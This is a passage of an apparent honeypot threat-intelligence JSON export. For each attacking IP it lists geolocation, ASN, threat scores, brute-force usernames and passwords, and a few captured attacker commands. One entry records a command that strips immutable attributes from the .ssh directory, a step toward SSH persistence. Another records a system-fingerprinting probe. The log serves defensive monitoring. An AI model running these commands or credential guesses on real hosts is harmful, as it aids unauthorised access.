        "first_seen_30d": "2026-05-05T08:04:25.593000+00:00",
        "last_seen_30d": "2026-05-05T08:19:36.810000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 14
      }
    },
    "221.228.10.71": {
      "attack_count": 20,
      "first_seen": "2026-05-22T00:36:17.144Z",
      "last_seen": "2026-05-22T00:39:13.914Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:36:17.144000+00:00",
        "last_seen_30d": "2026-05-22T00:40:39.160000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 20
      }
    },
    "14.103.86.48": {
      "attack_count": 18,
      "first_seen": "2026-05-19T21:15:26.232Z",
      "last_seen": "2026-05-19T21:15:39.609Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "tototo"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:15:26.232000+00:00",
        "last_seen_30d": "2026-05-19T21:16:45.985000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 5
      }
    },
    "186.42.9.217": {
      "attack_count": 16,
      "first_seen": "2026-05-24T02:49:16.813Z",
      "last_seen": "2026-05-24T02:59:40.909Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Ambato",
      "asn": 28006,
      "as_org": "CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:49:16.813000+00:00",
        "last_seen_30d": "2026-05-24T03:00:46.087000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 11
      }
    },
    "113.19.109.137": {
      "attack_count": 12,
      "first_seen": "2026-05-16T16:03:33.914Z",
      "last_seen": "2026-05-16T16:03:42.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "Aa123456",
        "eclgNEEhcd"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T16:03:33.914000+00:00",
        "last_seen_30d": "2026-05-16T16:06:17.359000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "181.45.134.126": {
      "attack_count": 12,
      "first_seen": "2026-05-13T19:52:17.360Z",
      "last_seen": "2026-05-13T20:05:28.401Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Isidro Casanova",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:52:17.360000+00:00",
        "last_seen_30d": "2026-05-13T20:06:48.560000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "2.58.46.178": {
      "attack_count": 12,
      "first_seen": "2026-05-14T04:33:01.891Z",
      "last_seen": "2026-05-14T11:26:00.450Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": "Copenhagen",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:33:01.891000+00:00",
        "last_seen_30d": "2026-05-14T11:27:01.630000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "95.216.37.204": {
      "attack_count": 12,
      "first_seen": "2026-05-04T20:50:37.354Z",
      "last_seen": "2026-05-05T00:02:12.694Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:50:37.354000+00:00",
        "last_seen_30d": "2026-05-05T00:03:21.543000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "119.148.49.82": {
      "attack_count": 10,
      "first_seen": "2026-05-07T02:02:54.696Z",
      "last_seen": "2026-05-30T15:40:04.510Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23923,
      "as_org": "Agni Systems Limited",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:02:54.696000+00:00",
        "last_seen_30d": "2026-05-30T15:41:08.093000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10
      }
    },
    "152.32.205.206": {
      "attack_count": 10,
      "first_seen": "2026-05-15T06:27:55.184Z",
      "last_seen": "2026-05-15T06:27:59.429Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 78.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T09:27:46+00:00",
        "last_seen_30d": "2026-05-31T00:51:08.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 23,
        "Cowrie": 10
      }
    },
    "206.135.174.253": {
      "attack_count": 10,
      "first_seen": "2026-05-10T02:53:01.661Z",
      "last_seen": "2026-05-10T02:54:06.045Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:53:01.661000+00:00",
        "last_seen_30d": "2026-05-10T02:55:09.584000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "47.251.9.231": {
      "attack_count": 10,
      "first_seen": "2026-05-17T14:48:11.477Z",
      "last_seen": "2026-05-17T14:48:51.337Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 76.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 27,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T06:21:45.927000+00:00",
        "last_seen_30d": "2026-05-31T23:37:40.465000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 19,
        "Cowrie": 10
      }
    },
    "64.23.181.60": {
      "attack_count": 10,
      "first_seen": "2026-05-07T10:46:36.917Z",
      "last_seen": "2026-05-07T10:47:20.965Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 164372,
        "days_active_30d": 1,
        "ports_targeted_30d": 62320,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-07T10:44:54+00:00",
        "last_seen_30d": "2026-05-07T10:59:15.543000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139040,
        "Honeytrap": 25273,
        "Mailoney": 12,
        "Cowrie": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Dionaea": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "188.240.57.110": {
      "attack_count": 8,
      "first_seen": "2026-05-12T04:08:50.091Z",
      "last_seen": "2026-05-12T04:16:52.503Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Edinburgh",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:49:03.566000+00:00",
        "last_seen_30d": "2026-05-12T04:18:43.145000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "192.42.116.14": {
      "attack_count": 8,
      "first_seen": "2026-05-29T21:03:20.869Z",
      "last_seen": "2026-05-29T21:03:41.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 78.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.0,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T08:46:35+00:00",
        "last_seen_30d": "2026-05-29T21:04:44.698000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "H0neytr4p": 13,
        "Ciscoasa": 12,
        "Cowrie": 6,
        "Dionaea": 2,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "71.86.130.242": {
      "attack_count": 8,
      "first_seen": "2026-05-09T01:04:18.529Z",
      "last_seen": "2026-05-09T01:12:30.190Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:04:18.529000+00:00",
        "last_seen_30d": "2026-05-09T01:13:41.196000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "138.197.9.218": {
      "attack_count": 6,
      "first_seen": "2026-05-24T12:12:21.010Z",
      "last_seen": "2026-05-24T12:12:21.601Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:12:21.010000+00:00",
        "last_seen_30d": "2026-05-24T12:13:28.354000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "186.55.229.156": {
      "attack_count": 6,
      "first_seen": "2026-05-25T14:30:28.018Z",
      "last_seen": "2026-05-25T14:32:38.436Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:30:28.018000+00:00",
        "last_seen_30d": "2026-05-25T14:43:29.784000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "66.228.53.136": {
      "attack_count": 6,
      "first_seen": "2026-05-27T01:02:53.049Z",
      "last_seen": "2026-05-27T01:02:53.388Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T08:00:23+00:00",
        "last_seen_30d": "2026-05-31T10:20:33.169000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 44,
        "Cowrie": 6,
        "Dionaea": 2,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "165.22.254.202": {
      "attack_count": 5,
      "first_seen": "2026-05-12T19:47:52.410Z",
      "last_seen": "2026-05-12T19:47:54.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "Welcome@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:47:52.410000+00:00",
        "last_seen_30d": "2026-05-12T19:49:03.707000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "203.55.81.1": {
      "attack_count": 5,
      "first_seen": "2026-05-26T09:29:42.735Z",
      "last_seen": "2026-05-26T09:29:53.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "t3rr0r"
      ],
      "passwords_attempted": [
        "t3rr0rt3rr0r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 213873,
      "as_org": "MOJI SAS",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T09:29:42.735000+00:00",
        "last_seen_30d": "2026-05-26T09:30:59.298000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.112.214.118": {
      "attack_count": 4,
      "first_seen": "2026-05-21T12:26:42.577Z",
      "last_seen": "2026-05-22T09:32:53.619Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T12:26:42.577000+00:00",
        "last_seen_30d": "2026-05-22T09:34:00.907000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "161.35.236.158": {
      "attack_count": 4,
      "first_seen": "2026-05-27T04:11:59.024Z",
      "last_seen": "2026-05-27T04:12:07.022Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:11:59.024000+00:00",
        "last_seen_30d": "2026-05-27T04:13:13.452000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "195.184.76.169": {
      "attack_count": 4,
      "first_seen": "2026-05-06T08:30:14.836Z",
      "last_seen": "2026-05-06T08:30:43.940Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 27,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T09:21:32+00:00",
        "last_seen_30d": "2026-05-30T00:55:45.829000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 27,
        "Cowrie": 4
      }
    },
    "198.235.24.118": {
      "attack_count": 4,
      "first_seen": "2026-05-19T04:40:16.293Z",
      "last_seen": "2026-05-19T04:40:19.471Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:48:41+00:00",
        "last_seen_30d": "2026-05-31T00:17:37.651000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 27,
        "ConPot": 18,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1,
        "Tanner": 1,
        "Wordpot": 1
      }
    },
    "2.70.144.103": {
      "attack_count": 4,
      "first_seen": "2026-05-19T13:32:51.880Z",
      "last_seen": "2026-05-19T13:48:43.586Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:32:51.880000+00:00",
        "last_seen_30d": "2026-05-19T13:49:51.784000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "38.7.5.154": {
      "attack_count": 4,
      "first_seen": "2026-05-22T01:07:47.552Z",
      "last_seen": "2026-05-22T01:09:56.973Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271899,
      "as_org": "GIGAPOP, C.A.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
